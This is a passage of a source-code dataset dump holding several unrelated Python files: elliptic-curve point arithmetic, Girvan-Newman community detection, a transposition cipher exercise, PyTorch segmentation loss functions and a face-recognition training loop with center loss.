document_root=settings.MEDIA_ROOT)","sub_path":"myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"460670202","text":"#!/usr/bin/env python3\n\nfrom random import randint\n\nclass ECPoint():\n \n def __init__(self, x, y, inf=0):\n self.x = x\n self.y = y\n self.inf = inf\n\n def __eq__(self, other):\n if (self.inf == 1) and (other.inf == 1):\n return True\n\n return (self.x == other.x) and (self.y == other.y)\n\n def __repr__(self):\n if self.inf == 1:\n return 'O'\n # print the compressed version\n return '({}, {})'.format(self.x, self.y & 1)\n\n def __hash__(self):\n return hash(str(self))\n\n\nclass EllipticCurve():\n\n def __init__(self, p, g, a, b):\n \"\"\" A curve is defined by\n p: The finite field Fp\n g: The base point (generator) for the group\n a, b: Curve parameters, Y^2 = X^3 + aX + b\n \"\"\"\n self.p = p\n self.g = g\n self.a = a\n self.b = b\n\n def identity(self):\n \"\"\" Returns hte identity element. \"\"\"\n return ECPoint(0, 0, 1)\n\n def is_valid(self, p):\n \"\"\" Checks whether a point P is valid. \"\"\"\n return p.y**2 % self.p == (p.x**3 + self.a*p.x + self.b) % self.p\n\n def random_point(self):\n \"\"\" Generate a random point (not identity) on the curve. \"\"\"\n m = randint(1, self.p)\n p = self.mul(self.g, m)\n while p == self.identity():\n m = randint(1, self.p)\n p = self.mul(self.g, m)\n\n return p\n\n def egcd(self, a, b):\n if a == 0:\n return (b, 0, 1)\n else:\n g, y, x = self.egcd(b % a, a)\n return (g, x - (b // a) * y, y)\n\n def modinv(self, a, m):\n g, x, y = self.egcd(a, m)\n if g != 1:\n raise Exception('Modular inverse does not exist')\n else:\n return x % m\n\n def add(self, p1, p2):\n \"\"\" Adds two points P1 = (x1, y1) and P2 = (x2, y2) on the given curve. \"\"\"\n # special case if one point is O (identity)\n if p1.inf == 1 and p2.inf == 1:\n return self.identity()\n if p1.inf == 1:\n return p2\n if p2.inf == 1:\n return p1\n\n if p1.x != p2.x:\n lam = ((p2.y - p1.y) * self.modinv((p2.x - p1.x) % self.p, self.p)) % self.p\n else:\n if (p1 == self.neg(p2)):\n return self.identity()\n if (p1.y == 0):\n return self.identity()\n \n # point doubling\n lam = ((3*p1.x**2 + self.a) * self.modinv(2 * p1.y, self.p)) % self.p\n\n\n x3 = (lam**2 - p1.x - p2.x) % self.p\n y3 = ((p1.x - x3) * lam - p1.y) % self.p\n return ECPoint(x3, y3)\n\n def neg(self, p):\n \"\"\" Calculate the additive inverse of a point P1, -P1. \"\"\"\n return ECPoint(p.x, self.p - p.y)\n\n def sub(self, p1, p2):\n \"\"\" Subtract P2 from P1, i.e., P1 - P2 = P1 + (-P2). \"\"\"\n return self.add(p1, self.neg(p2))\n\n def mul(self, p, m):\n \"\"\" Multiply a point P with a constant m, using double-and-add. \"\"\"\n result = self.identity()\n addend = p\n\n while m:\n if m & 1:\n result = self.add(result, addend)\n\n # double the point\n addend = self.add(addend, addend)\n m >>= 1\n\n return result\n","sub_path":"ecc.py","file_name":"ecc.py","file_ext":"py","file_size_in_byte":3274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"294436039","text":"'''\n wrapper of Girvan-Newman community detection algorithm\n'''\nimport networkx as nx\nimport numpy as np\nfrom ete3 import Tree\n\ntry:\n from cmty import cmty # cython version first\nexcept ImportError:\n import cmty\n\nclass GN:\n def __init__(self):\n self.reinit()\n \n def reinit(self):\n self.partition_num_list = []\n self.partition_list = []\n self.tree = Tree()\n self.tree_depth = 0\n \n def fit(self, G_outer, initialize_tree = True):\n '''\n G_outer: nx.Graph like object\n returns the partition\n ''' \n self.reinit()\n self.G = G_outer.copy()\n G = G_outer.copy()# copy the graph\n n = G.number_of_nodes() #|V|\n A = nx.adj_matrix(G) # adjacenct matrix\n\n m_ = 0.0 # the weighted version for number of edges\n for i in range(0,n):\n for j in range(0,n):\n m_ += A[i,j]\n self.m_ = m_/2.0\n\n # calculate the weighted degree for each node\n Orig_deg = {}\n self.Orig_deg = cmty.UpdateDeg(A, G.nodes())\n\n # run Newman alg\n self.runGirvanNewman() \n if(initialize_tree):\n self._get_hierarchical_tree()\n return self\n \n def runGirvanNewman(self):\n # let's find the best split of the graph\n BestQ = 0.0\n Q = 0.0\n self.partition_num_list.append(1)\n nvertices = len(self.G.nodes)\n self.partition_list.append([set(i for i in range(nvertices))])\n while True: \n cmty.CmtyGirvanNewmanStep(self.G)\n partition = list(nx.connected_components(self.G))\n self.partition_num_list.append(len(partition))\n self.partition_list.append(partition)\n Q = cmty._GirvanNewmanGetModularity(self.G, self.Orig_deg, self.m_)\n if Q > BestQ:\n BestQ = Q\n Bestcomps = partition # Best Split\n if self.G.number_of_edges() == 0:\n break\n if BestQ > 0.0:\n self.Bestcomps = Bestcomps\n\n def get_category(self, i):\n index = 0\n for ind,val in enumerate(self.partition_num_list):\n if(val >= i):\n index = ind\n break\n cat = np.zeros(len(self.Orig_deg))\n t = 0\n for j in self.partition_list[index]:\n for r in j:\n cat[r] = t\n t += 1\n return cat\n\n def get_tree_depth(self):\n return 0\n\n def _add_node(self, root, node_list, num_index):\n\n label_list = self.get_category(self.partition_num_list[num_index])\n cat_list = []\n for i in node_list:\n if(cat_list.count(label_list[i]) == 0):\n cat_list.append(label_list[i])\n max_cat = len(cat_list)\n label_list_list = [[] for i in range(max_cat)]\n for i in node_list:\n j = cat_list.index(label_list[i])\n label_list_list[j].append(i)\n for node_list_i in label_list_list:\n node_name = ''.join([str(ii) for ii in node_list_i])\n if(node_name != root.name):\n root_i = root.add_child(name= node_name)\n else:\n root_i = root\n if(len(node_list_i)>1):\n self._add_node(root_i, node_list_i, num_index+1)\n \n def _get_hierarchical_tree(self):\n max_num = self.partition_num_list[-1]\n node_list = [ i for i in range(0, max_num)]\n self._add_node(self.tree, node_list, 1)\n\n def _set_tree_depth(self, node, depth):\n if(node.is_leaf()):\n if(depth > self.tree_depth):\n self.tree_depth = depth\n return\n for node_i in node.children: # depth first search\n self._set_tree_depth(node_i, depth+1)\n \n def get_tree_depth(self):\n if(self.tree.is_leaf()):\n self._get_hierarchical_tree()\n if(self.tree_depth != 0):\n return self.tree_depth\n self._set_tree_depth(self.tree, 0)\n return self.tree_depth\n","sub_path":"GN.py","file_name":"GN.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"147368176","text":"import copy\r\ntext = input(\"Ведите строку \")\r\nkey = input(\"Введите ключ \")\r\ndef full_str(text, key):\r\n if len(text) % len(key) != 0:\r\n count = len(key) - (len(text) % len(key))\r\n while count != 0:\r\n text = text + \" \"\r\n count -= 1\r\n count_str = int(len(text) / len(key))\r\n count_colum = int(len(key))\r\n return count_colum, count_str\r\n\r\ndef new_matrix(text, count_colum, count_str):\r\n matrix = [[0]*count_str for i in range(count_colum)]\r\n j = 0\r\n num_in_text = 0\r\n while count_colum != j:\r\n i = 0\r\n while count_str != i:\r\n matrix[j][i] = text[num_in_text]\r\n num_in_text += 1\r\n i += 1\r\n j += 1\r\n return matrix\r\n\r\n\r\ncount_colum, count_str = full_str(text, key)\r\nmatrix = new_matrix(text, count_colum, count_str)\r\n\r\n\r\n\r\nmatrix_cod = [[0]*count_str for i in range(count_colum)]\r\ni = 0\r\nprint()\r\nwhile count_colum != i:\r\n num = int(key[i]) - 1\r\n matrix_cod[i] = matrix[num]\r\n i += 1\r\ncod_text = \"\"\r\ni = 0\r\nj = 0 \r\nwhile count_str != j:\r\n i = 0\r\n while count_colum != i:\r\n cod_text += matrix_cod[i][j] \r\n i += 1\r\n j += 1\r\nprint(cod_text)\r\n \r\n##################\r\n\r\ni = 0\r\nmatrix = [[0]*count_str for i in range(count_colum)]\r\nnum_in_text = 0\r\nn = 0\r\nj = 0\r\n\r\nwhile count_colum != j:\r\n i = 0\r\n while count_str != i:\r\n matrix[j][i] = cod_text[n]\r\n n += 5 \r\n i += 1\r\n j += 1\r\n n = j \r\n\r\n\r\nnorm_text = \"\"\r\ni = 0\r\nprint()\r\nwhile count_colum != i:\r\n j = 0\r\n n = 0\r\n while int(key[n]) - 1 != i:\r\n n += 1\r\n while count_str != j:\r\n norm_text += matrix[n][j]\r\n j += 1\r\n i +=1\r\nprint(norm_text)","sub_path":"pere2.py","file_name":"pere2.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226604353","text":"import segmentation_models_pytorch.utils.losses\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom pycocotools.coco import COCO\nimport numpy as np\n\nimport cv2 as cv\nimport numpy as np\n\nimport torch\n\nfrom scipy.ndimage.morphology import distance_transform_edt as edt\nfrom scipy.ndimage import convolve\n\nfrom torch.autograd import Variable\nimport segmentation_models_pytorch as smp\nimport lib.lovasz_losses as LOVASZ\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n\n# https://discuss.pytorch.org/t/is-this-a-correct-implementation-for-focal-loss-in-pytorch/43327/8\nclass FocalLoss(nn.Module):\n def __init__(self, weight=None,\n gamma=2., reduction='mean'):\n nn.Module.__init__(self)\n self.weight = weight\n self.gamma = gamma\n self.reduction = reduction\n\n def forward(self, input_tensor, target_tensor):\n log_prob = F.log_softmax(input_tensor, dim=-1)\n prob = torch.exp(log_prob)\n return F.nll_loss(\n ((1 - prob) ** self.gamma) * log_prob,\n target_tensor,\n weight=self.weight,\n reduction=self.reduction\n )\n\n\nclass FocalLoss2(nn.Module):\n def __init__(self, gamma=0, alpha=None, size_average=True):\n super(FocalLoss2, self).__init__()\n self.gamma = gamma\n self.alpha = alpha\n if isinstance(alpha, (float, int)): self.alpha = torch.Tensor([alpha, 1 - alpha])\n if isinstance(alpha, list): self.alpha = torch.Tensor(alpha)\n self.size_average = size_average\n\n def forward(self, input, target):\n if input.dim() > 2:\n input = input.view(input.size(0), input.size(1), -1) # N,C,H,W => N,C,H*W\n input = input.transpose(1, 2) # N,C,H*W => N,H*W,C\n input = input.contiguous().view(-1, input.size(2)) # N,H*W,C => N*H*W,C\n target = target.view(-1, 1)\n logpt = F.log_softmax(input)\n logpt = logpt.gather(1, target)\n logpt = logpt.view(-1)\n pt = Variable(logpt.data.exp())\n if self.alpha is not None:\n if self.alpha.type() != input.data.type():\n self.alpha = self.alpha.type_as(input.data)\n at = self.alpha.gather(0, target.data.view(-1))\n logpt = logpt * Variable(at)\n loss = -1 * (1 - pt) ** self.gamma * logpt\n if self.size_average:\n return loss.mean()\n else:\n return loss.sum()\n\n\ndef get_classes_count():\n # 모든 사진들로부터 background를 제외한 클래스별 픽셀 카운트를 구합니다.\n coco = COCO(\"../input/data/train_all.json\")\n annotations = coco.loadAnns(coco.getAnnIds())\n class_num = len(coco.getCatIds())\n classes_count = [0] * class_num\n for annotation in annotations:\n class_id = annotation[\"category_id\"]\n pixel_count = np.sum(coco.annToMask(annotation))\n classes_count[class_id] += pixel_count\n # background의 픽셀 카운트를 계산합니다.\n image_num = len(coco.getImgIds())\n total_pixel_count = image_num * 512 * 512\n background_pixel_count = total_pixel_count - sum(classes_count)\n # 모든 클래스별 픽셀 카운트를 구합니다.\n nclasses_count = [background_pixel_count] + classes_count\n return nclasses_count\n\n\nclass WeightedCrossEntropy(nn.Module):\n def __init__(self):\n super(WeightedCrossEntropy, self).__init__()\n classes_count = get_classes_count() # 클래스 별 카운트\n weights = torch.tensor(classes_count)\n # weights = torch.pow(weights, 1./10) # 10분의 1승 적용\n weights = torch.log(weights) # 로그함수 적용\n weights = weights / weights.sum()\n weights = 1.0 / weights\n weights = weights / weights.sum()\n print(\"* 클래스 별 픽셀 갯수\")\n print(classes_count)\n print(\"* 최종 weight\")\n print(weights)\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n weights = weights.to(device)\n self.CrossEntropyLoss = nn.CrossEntropyLoss(weight=weights)\n\n def forward(self, inputs, target):\n return self.CrossEntropyLoss(inputs, target)\n\n\nclass softCrossEntropy(nn.Module):\n def __init__(self):\n super(softCrossEntropy, self).__init__()\n return\n\n def forward(self, inputs, target):\n \"\"\"\n :param inputs: predictions\n :param target: target labels\n :return: loss\n \"\"\"\n log_likelihood = - F.log_softmax(inputs, dim=1)\n sample_num, class_num = target.shape\n multiple = torch.mul(log_likelihood, target)\n loss = torch.sum(multiple) / sample_num\n return loss\n\n\nclass focal_softCrossEntropy(nn.Module):\n def __init__(self, weight=None,\n gamma=2.):\n self.gamma = gamma\n super(focal_softCrossEntropy, self).__init__()\n return\n\n def forward(self, inputs, target):\n \"\"\"\n :param inputs: predictions\n :param target: target labels\n :return: loss\n \"\"\"\n log_prob = -F.log_softmax(inputs, dim=1)\n prob = torch.exp(log_prob)\n sample_num, class_num = target.shape\n prob_focal = ((1 - prob) ** self.gamma) * log_prob\n\n multiple = torch.mul(log_prob, target)\n loss = torch.sum(multiple) / sample_num\n return loss\n\n\nclass LabelSmoothingLoss(nn.Module):\n def __init__(self, classes=18, smoothing=0.0, dim=-1):\n super(LabelSmoothingLoss, self).__init__()\n self.confidence = 1.0 - smoothing\n self.smoothing = smoothing\n self.cls = classes\n self.dim = dim\n\n def forward(self, pred, target):\n pred = pred.log_softmax(dim=self.dim)\n with torch.no_grad():\n true_dist = torch.zeros_like(pred)\n true_dist.fill_(self.smoothing / (self.cls - 1))\n true_dist.scatter_(1, target.data.unsqueeze(1), self.confidence)\n return torch.mean(torch.sum(-true_dist * pred, dim=self.dim))\n\n\n# https://gist.github.com/SuperShinyEyes/dcc68a08ff8b615442e3bc6a9b55a354\nclass F1Loss(nn.Module):\n def __init__(self, classes=18, epsilon=1e-7):\n super().__init__()\n self.classes = classes\n self.epsilon = epsilon\n\n def forward(self, y_pred, y_true):\n assert y_pred.ndim == 2\n assert y_true.ndim == 1\n y_true = F.one_hot(y_true, self.classes).to(torch.float32)\n y_pred = F.softmax(y_pred, dim=1)\n\n tp = (y_true * y_pred).sum(dim=0).to(torch.float32)\n tn = ((1 - y_true) * (1 - y_pred)).sum(dim=0).to(torch.float32)\n fp = ((1 - y_true) * y_pred).sum(dim=0).to(torch.float32)\n fn = (y_true * (1 - y_pred)).sum(dim=0).to(torch.float32)\n\n precision = tp / (tp + fp + self.epsilon)\n recall = tp / (tp + fn + self.epsilon)\n\n f1 = 2 * (precision * recall) / (precision + recall + self.epsilon)\n f1 = f1.clamp(min=self.epsilon, max=1 - self.epsilon)\n return 1 - f1.mean()\n\n\ndef make_one_hot(labels, C=12):\n '''\n Converts an integer label torch.autograd.Variable to a one-hot Variable.\n \n Parameters\n ----------\n labels : torch.autograd.Variable of torch.cuda.LongTensor\n N x 1 x H x W, where N is batch size. \n Each value is an integer representing correct classification.\n C : integer. \n number of classes in labels.\n \n Returns\n -------\n target : torch.autograd.Variable of torch.cuda.FloatTensor\n N x C x H x W, where C is class number. One-hot encoded.\n '''\n labels.to(device)\n one_hot = torch.FloatTensor(labels.size(0), C, labels.size(2), labels.size(3)).zero_().to(device)\n target = one_hot.scatter_(1, labels.data.to(device), 1)\n\n target = Variable(target)\n\n return target\n\n\n\"\"\"\nHausdorff loss implementation based on paper:\nhttps://arxiv.org/pdf/1904.10030.pdf\ncopy pasted from - all credit goes to original authors:\nhttps://github.com/SilmarilBearer/HausdorffLoss\n\"\"\"\n\n\nclass HausdorffDTLoss(nn.Module):\n \"\"\"Binary Hausdorff loss based on distance transform\"\"\"\n\n def __init__(self, alpha=2.0, **kwargs):\n super(HausdorffDTLoss, self).__init__()\n self.alpha = alpha\n\n @torch.no_grad()\n def distance_field(self, img: np.ndarray) -> np.ndarray:\n field = np.zeros_like(img)\n\n for batch in range(len(img)):\n fg_mask = img[batch] > 0.5\n\n if fg_mask.any():\n bg_mask = ~fg_mask\n\n fg_dist = edt(fg_mask)\n bg_dist = edt(bg_mask)\n\n field[batch] = fg_dist + bg_dist\n\n return field\n\n def forward(\n self, pred: torch.Tensor, target: torch.Tensor, debug=False\n ) -> torch.Tensor:\n \"\"\"\n Uses one binary channel: 1 - fg, 0 - bg\n pred: (b, 1, x, y, z) or (b, 1, x, y)\n target: (b, 1, x, y, z) or (b, 1, x, y)\n \"\"\"\n pred_ = torch.clone(pred)\n target_ = torch.clone(target)\n m = nn.Softmax(dim=1)\n pred_all = m(pred)\n target = target.view(target.shape[0], 1, target.shape[1], target.shape[2])\n target_all = make_one_hot(target)\n\n loss_sum = 0\n\n for c in range(12): # for class\n pred = pred_all[:, c, :, :]\n target = target_all[:, c, :, :]\n\n # assert pred.dim() == 4 or pred.dim() == 5, \"Only 2D and 3D supported\"\n # assert (\n # pred.dim() == target.dim()\n # ), \"Prediction and target need to be of same dimension\"\n\n # pred = torch.sigmoid(pred)\n\n pred_dt = torch.from_numpy(self.distance_field(pred.detach().cpu().numpy())).float()\n target_dt = torch.from_numpy(self.distance_field(target.detach().cpu().numpy())).float()\n\n pred_error = (pred - target) ** 2\n distance = pred_dt ** self.alpha + target_dt ** self.alpha\n\n dt_field = pred_error.to(device) * distance.to(device)\n loss = dt_field.mean()\n\n if debug:\n loss_sum += (\n loss.cpu().numpy(),\n (\n dt_field.cpu().numpy()[0, 0],\n pred_error.cpu().numpy()[0, 0],\n distance.cpu().numpy()[0, 0],\n pred_dt.cpu().numpy()[0, 0],\n target_dt.cpu().numpy()[0, 0],\n ),\n )\n\n else:\n loss_sum += loss\n ce_loss_f = nn.CrossEntropyLoss()\n ce_loss = ce_loss_f(pred_, target_)\n return loss_sum / 12 / pred_all.shape[0] / 3 + ce_loss\n\n\nclass DiceLoss(nn.Module):\n def __init__(self):\n super(DiceLoss, self).__init__()\n self.DiceLoss = smp.utils.losses.DiceLoss()\n\n def forward(self, inputs, target):\n # inputs: N, C(probs), H, W -> N, C(max_one_hot), H, W\n inputs_max_idx = torch.argmax(inputs, 1, keepdim=True).to(device)\n inputs_one_hot = torch.FloatTensor(inputs.shape).to(device)\n inputs_one_hot.zero_()\n inputs_one_hot.scatter_(1, inputs_max_idx, 1)\n # target: N, H, W -> H, C, H, W\n target = target.view(target.shape[0], 1, target.shape[1], target.shape[2])\n target_one_hot = make_one_hot(target) # N, H, W -> N, C, H, W\n return self.DiceLoss(inputs_one_hot, target_one_hot)\n\n\nclass DiceCrossEntropyLoss(nn.Module):\n def __init__(self):\n super(DiceCrossEntropyLoss, self).__init__()\n self.CrossEntropyLoss = nn.CrossEntropyLoss()\n\n def forward(self, inputs, target): # N, C, H, W # N, H, W\n # cross entropy loss\n ce_loss = self.CrossEntropyLoss(inputs, target)\n\n # dice loss\n # inputs: N, C(probs), H, W -> N, C(max_one_hot), H, W\n inputs_max_idx = torch.argmax(inputs, 1, keepdim=True).to(device)\n inputs_one_hot = torch.FloatTensor(inputs.shape).to(device)\n inputs_one_hot.zero_()\n inputs_one_hot.scatter_(1, inputs_max_idx, 1)\n # target: N, H, W -> H, C, H, W\n target = target.view(target.shape[0], 1, target.shape[1], target.shape[2])\n target_one_hot = make_one_hot(target) # N, H, W -> N, C, H, W\n numerator = 2 * torch.sum(inputs_one_hot * target_one_hot)\n denominator = torch.sum(inputs_one_hot + target_one_hot)\n dice_loss = 1 - (numerator + 1) / (denominator + 1)\n\n\n return ce_loss*1 + dice_loss*10\n\n\ndef _iou(pred, target, size_average = True):\n\n b = pred.shape[0]\n IoU = 0.0\n for i in range(0,b):\n #compute the IoU of the foreground\n Iand1 = torch.sum(target[i,:,:,:]*pred[i,:,:,:])\n Ior1 = torch.sum(target[i,:,:,:]) + torch.sum(pred[i,:,:,:])-Iand1\n IoU1 = Iand1/Ior1\n\n #IoU loss is (1-IoU1)\n IoU = IoU + (1-IoU1)\n\n return IoU/b\n\n\nclass IOU(torch.nn.Module):\n def __init__(self, size_average = True):\n super(IOU, self).__init__()\n self.size_average = size_average\n\n def forward(self, pred, target):\n target = target.view(target.shape[0], 1, target.shape[1], target.shape[2])\n target = make_one_hot(target)\n return _iou(pred, target, self.size_average)\n\ndef IOU_loss(pred,label):\n iou_loss = IOU(size_average=True)\n iou_out = iou_loss(pred, label)\n print(\"iou_loss:\", iou_out.data.cpu().numpy())\n return iou_out\n\n\nclass RovaszLoss(nn.Module):\n def __init__(self):\n super(RovaszLoss, self).__init__()\n self.Rovasz = LOVASZ\n\n def forward(self, inputs, target):\n return self.Rovasz.lovasz_softmax(inputs, target)\n\nclass RovaszCrossEntropyLoss(nn.Module):\n def __init__(self):\n super(RovaszCrossEntropyLoss, self).__init__()\n self.Rovasz = LOVASZ\n self.CrossEntropyLoss = nn.CrossEntropyLoss()\n\n def forward(self, inputs, target):\n lovasz_loss = self.Rovasz.lovasz_softmax(inputs, target)\n ce_loss = self.CrossEntropyLoss(inputs, target)\n return lovasz_loss + ce_loss\n\n\n_criterion_entrypoints = {\n 'cross_entropy': nn.CrossEntropyLoss,\n 'weighted_cross_entropy': WeightedCrossEntropy,\n 'focal': FocalLoss,\n 'label_smoothing': LabelSmoothingLoss,\n 'f1': F1Loss,\n 'soft_cross_entropy': softCrossEntropy,\n 'focal_softCE': focal_softCrossEntropy,\n 'focal2': FocalLoss2,\n 'HausdorffDT': HausdorffDTLoss,\n 'soft_cross_entropy': softCrossEntropy,\n 'focal_softCE': focal_softCrossEntropy,\n 'dice': DiceLoss,\n 'dice_cross_entropy': DiceCrossEntropyLoss,\n 'iou': IOU,\n 'rovasz': RovaszLoss,\n 'rovasz_cross_entropy': RovaszCrossEntropyLoss\n}\n\n\ndef create_criterion(criterion_name, **kwargs):\n if is_criterion(criterion_name):\n create_fn = criterion_entrypoint(criterion_name)\n criterion = create_fn(**kwargs)\n else:\n raise RuntimeError('Unknown loss (%s)' % criterion_name)\n return criterion\n\n\ndef criterion_entrypoint(criterion_name):\n return _criterion_entrypoints[criterion_name]\n\n\ndef is_criterion(criterion_name):\n return criterion_name in _criterion_entrypoints\n","sub_path":"segmentation/code/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":15026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"318068851","text":"import os\n\nimport torch\n\nfrom device import device\nfrom loss import compute_center_loss, get_center_delta\nfrom TestOnLFW import evaluate\nimport numpy as np\n\ndef one_hot(ids, out_tensor):\n \"\"\"\n ids: (list, ndarray) shape:[batch_size]\n out_tensor:FloatTensor shape:[batch_size, depth]\n \"\"\"\n # if not isinstance(ids, (list, np.ndarray)):\n # raise ValueError(\"ids must be 1-D list or array\")\n # ids = torch.LongTensor(ids).view(-1,1)\n out_tensor.zero_()\n out_tensor.scatter_(dim=1, index=ids, src=1.)\n\nclass Trainer(object):\n\n def __init__(\n self, optimizer, model, training_dataloader,\n validation_dataloader, pass_arg, log_dir=False, max_epoch=100, resume=False,\n persist_stride=2, lamda=0.03, alpha=0.5):\n\n self.log_dir = log_dir\n self.optimizer = optimizer\n self.model = model\n self.max_epoch = max_epoch\n self.resume = resume\n self.persist_stride = persist_stride\n self.training_dataloader = training_dataloader\n self.validation_dataloader = validation_dataloader\n self.training_losses = {\n 'center': [], 'cross_entropy': [],\n 'together': [], 'top3acc': [], 'top1acc': []}\n self.validation_losses = {\n 'center': [], 'cross_entropy': [],\n 'together': [], 'top3acc': [], 'top1acc': []}\n self.start_epoch = 1\n self.current_epoch = 1\n self.lamda = lamda\n self.alpha = alpha\n self.pass_arg = pass_arg\n\n self.avg_theta = []\n self.min_theta = []\n self.max_theta = []\n self.stdv_theta = []\n self.norm_w = []\n self.norm_x = []\n # self.statistic_count = []\n\n if not self.log_dir:\n self.log_dir = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), 'logs')\n if not os.path.isdir(self.log_dir):\n os.mkdir(self.log_dir)\n\n if resume:\n state_file = os.path.join(self.log_dir, 'models', resume)\n if not os.path.isfile(state_file):\n raise RuntimeError(\n \"resume file {} is not found\".format(state_file))\n print(\"loading checkpoint {}\".format(state_file))\n checkpoint = torch.load(state_file)\n self.start_epoch = self.current_epoch = checkpoint['epoch']\n self.model.load_state_dict(checkpoint['state_dict'], strict=True)\n self.optimizer.load_state_dict(checkpoint['optimizer'])\n self.training_losses = checkpoint['training_losses']\n self.validation_losses = checkpoint['validation_losses']\n print(\"loaded checkpoint {} (epoch {})\".format(\n state_file, self.current_epoch))\n\n def train(self):\n cur_cos_best = 0\n cur_ed_best = 0\n avg_thetas = []\n for self.current_epoch in range(self.start_epoch, self.max_epoch+1):\n self.run_epoch(mode='train')\n # self.run_epoch(mode='validate')\n if self.current_epoch >= 0.9 * self.max_epoch:\n if not (self.current_epoch % self.persist_stride):\n cur_cos_acc, cur_ed_acc = self.persist()\n if cur_cos_best < cur_cos_acc:\n cur_cos_best = cur_cos_acc\n if cur_ed_best < cur_ed_acc:\n cur_ed_best = cur_ed_acc\n print('Current best cosine test accuracy is {:.4f}, best Euclidean test accuracy is {:.4f} \\n'.format(cur_cos_best, cur_ed_best))\n ############ make fig\n return self.avg_theta, self.min_theta, self.max_theta, self.stdv_theta, self.norm_w, self.norm_x\n #####################\n\n def run_epoch(self, mode):\n if mode == 'train':\n dataloader = self.training_dataloader\n loss_recorder = self.training_losses\n self.model.train()\n else:\n dataloader = self.validation_dataloader\n loss_recorder = self.validation_losses\n self.model.eval()\n\n total_cross_entropy_loss = 0\n total_center_loss = 0\n total_loss = 0\n total_top1_matches = 0\n total_top3_matches = 0\n batch = 0\n\n with torch.set_grad_enabled(mode == 'train'):\n for images, targets, names in dataloader:\n batch += 1\n targets = torch.tensor(targets).to(device)\n images = images.to(device)\n centers = self.model.centers\n###########################################################\n###########################################################\n###########################################################\n\n logits, features, avg_theta, min_theta, max_theta, stdv_theta, avg_w_norm, avg_x_norm = self.model(images, targets)\n self.avg_theta.append(avg_theta)\n self.min_theta.append(min_theta)\n self.max_theta.append(max_theta)\n self.stdv_theta.append(stdv_theta)\n self.norm_w.append(avg_w_norm)\n self.norm_x.append(avg_x_norm)\n\n###########################################################\n###########################################################\n###########################################################\n\n ###########################################################\n\n cross_entropy_loss = torch.nn.functional.cross_entropy(logits, targets)\n # cross_entropy_loss = torch.nn.functional.nll_loss(logits, targets)\n\n # cross_entropy_loss = torch.sum(logits) / logits.size(0)\n center_loss = compute_center_loss(features, centers, targets)\n # loss = self.lamda * center_loss + cross_entropy_loss\n loss = cross_entropy_loss\n\n ###########################################################\n\n print(\"[{}:{}] cross entropy loss: {:.8f} - center loss: \"\n \"{:.8f} - total weighted loss: {:.8f}\".format(\n mode, self.current_epoch,\n cross_entropy_loss.item(),\n center_loss.item(), loss.item()))\n\n total_cross_entropy_loss += cross_entropy_loss.item()\n total_center_loss += center_loss.item()\n total_loss += loss.item()\n\n if mode == 'train':\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n # make features untrack by autograd, or there will be\n # a memory leak when updating the centers\n center_deltas = get_center_delta(\n features.data, centers, targets, self.alpha)\n self.model.centers = centers - center_deltas\n\n # compute acc here\n total_top1_matches += self._get_matches(targets, logits, 1)\n total_top3_matches += self._get_matches(targets, logits, 3)\n\n center_loss = total_center_loss / batch\n cross_entropy_loss = total_cross_entropy_loss / batch\n loss = center_loss + cross_entropy_loss\n top1_acc = total_top1_matches / len(dataloader.dataset)\n top3_acc = total_top3_matches / len(dataloader.dataset)\n\n loss_recorder['center'].append(total_center_loss/batch)\n loss_recorder['cross_entropy'].append(cross_entropy_loss)\n loss_recorder['together'].append(total_loss/batch)\n loss_recorder['top1acc'].append(top1_acc)\n loss_recorder['top3acc'].append(top3_acc)\n\n print(\n \"[{}:{}] finished. cross entropy loss: {:.8f} - \"\n \"center loss: {:.8f} - together: {:.8f} - \"\n \"top1 acc: {:.4f} % - top3 acc: {:.4f} %\".format(\n mode, self.current_epoch, cross_entropy_loss,\n center_loss, loss,\n top1_acc*100, top3_acc*100))\n\n def _get_matches(self, targets, logits, n=1):\n _, preds = logits.topk(n, dim=1)\n targets_repeated = targets.view(-1, 1).repeat(1, n)\n matches = torch.sum(preds == targets_repeated, dim=1) \\\n .nonzero().size()[0]\n return matches\n\n def persist(self, is_best=False):\n model_dir = os.path.join(self.log_dir, 'models')\n if not os.path.isdir(model_dir):\n os.mkdir(model_dir)\n file_name = (\n \"epoch_{}_best.pth.tar\" if is_best else \"epoch_{}.pth.tar\") \\\n .format(self.current_epoch)\n\n state = {\n 'epoch': self.current_epoch,\n 'state_dict': self.model.state_dict(),\n 'optimizer': self.optimizer.state_dict(),\n 'training_losses': self.training_losses,\n 'validation_losses': self.validation_losses\n }\n state_path = os.path.join(model_dir, file_name)\n torch.save(state, state_path)\n cos_acc, ed_acc = evaluate(self.pass_arg, state_path, cur_model=self.model)\n return cos_acc, ed_acc","sub_path":"lfwDocker/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":9092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"492467057","text":"#def chop(shortList):\r\n# x = len(shortList)\r\n# t = shortList.pop(x-1)\r\n# t = shortList.pop(0)\r\n\r\n#def middle(middleList):\r\n# x = len(middleList)\r\n# centerList = middleList[1:x-1]\r\n# return centerList\r\n\r\n#t = ['Stallone', 'Van-Damm', 'Norris', 'Schwarznegger', 'Rocky', 'Terminator']\r\n\r\n#j = middle(t)\r\n#chop(t)\r\n\r\n#print(t, j)\r\n\r\n#fhand = open('C:\\\\Users\\\\Lordicode\\\\Desktop\\\\mbox-short.txt')\r\n#count = 0\r\n#for line in fhand:\r\n #words = line.split()\r\n #print('Debug:', words)\r\n # if len(words) == 0 or words[0] != 'From' or len(words) < 3 :\r\n # 